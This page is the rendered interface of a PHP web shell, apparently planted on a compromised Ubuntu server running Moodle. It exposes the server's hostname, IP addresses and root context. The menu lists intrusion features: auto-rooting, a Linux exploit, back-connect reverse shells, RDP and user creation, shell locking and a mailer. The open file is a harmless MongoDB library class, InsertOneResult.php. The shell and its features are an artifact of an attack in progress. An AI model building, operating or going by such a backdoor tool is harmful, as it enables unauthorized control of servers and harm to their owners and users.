Linux vmi284606.contaboserver.net 4.15.0-213-generic #224-Ubuntu SMP Mon Jun 19 13:30:12 UTC 2023 x86_64
Apache/2.4.57 (Ubuntu)
: 167.86.127.34 | : 216.73.217.31
Cant Read [ /etc/named.conf ]
7.2.24-0ubuntu0.18.04.17
root
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
README
+ Create Folder
+ Create File
/
var /
www /
html /
moodle /
cache /
stores /
mongodb /
MongoDB /
[ HOME SHELL ]
Name
Size
Permission
Action
Exception
[ DIR ]
drwxrwxrwx
GridFS
[ DIR ]
drwxrwxrwx
Model
[ DIR ]
drwxrwxrwx
Operation
[ DIR ]
drwxrwxrwx
BulkWriteResult.php
5.71
KB
-rwxrwxrwx
ChangeStream.php
6.65
KB
-rwxrwxrwx
Client.php
10.37
KB
-rwxrwxrwx
Collection.php
44.86
KB
-rwxrwxrwx
Database.php
19
KB
-rwxrwxrwx
DeleteResult.php
1.89
KB
-rwxrwxrwx
InsertManyResult.php
2.64
KB
-rwxrwxrwx
InsertOneResult.php
2.68
KB
-rwxrwxrwx
MapReduceResult.php
2.8
KB
-rwxrwxrwx
UpdateResult.php
4.05
KB
-rwxrwxrwx
functions.php
11.77
KB
-rwxrwxrwx
Delete
Unzip
Zip
${this.title}
Close
Code Editor : InsertOneResult.php
<?php /* * Copyright 2015-2017 MongoDB, Inc. * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. */ namespace MongoDB; use MongoDB\Driver\WriteResult; use MongoDB\Exception\BadMethodCallException; /** * Result class for a single-document insert operation. */ class InsertOneResult { /** @var WriteResult */ private $writeResult; /** @var mixed */ private $insertedId; /** @var boolean */ private $isAcknowledged; /** * @param WriteResult $writeResult * @param mixed $insertedId */ public function __construct(WriteResult $writeResult, $insertedId) { $this->writeResult = $writeResult; $this->insertedId = $insertedId; $this->isAcknowledged = $writeResult->isAcknowledged(); } /** * Return the number of documents that were inserted. * * This method should only be called if the write was acknowledged. * * @see InsertOneResult::isAcknowledged() * @return integer * @throws BadMethodCallException is the write result is unacknowledged */ public function getInsertedCount() { if ($this->isAcknowledged) { return $this->writeResult->getInsertedCount(); } throw BadMethodCallException::unacknowledgedWriteResultAccess(__METHOD__); } /** * Return the inserted document's ID. * * If the document had an ID prior to inserting (i.e. the driver did not * need to generate an ID), this will contain its "_id". Any * driver-generated ID will be a MongoDB\BSON\ObjectId instance. * * @return mixed */ public function getInsertedId() { return $this->insertedId; } /** * Return whether this insert was acknowledged by the server. * * If the insert was not acknowledged, other fields from the WriteResult * (e.g. insertedCount) will be undefined. * * If the insert was not acknowledged, other fields from the WriteResult * (e.g. insertedCount) will be undefined and their getter methods should * not be invoked. * * @return boolean */ public function isAcknowledged() { return $this->writeResult->isAcknowledged(); } }
Close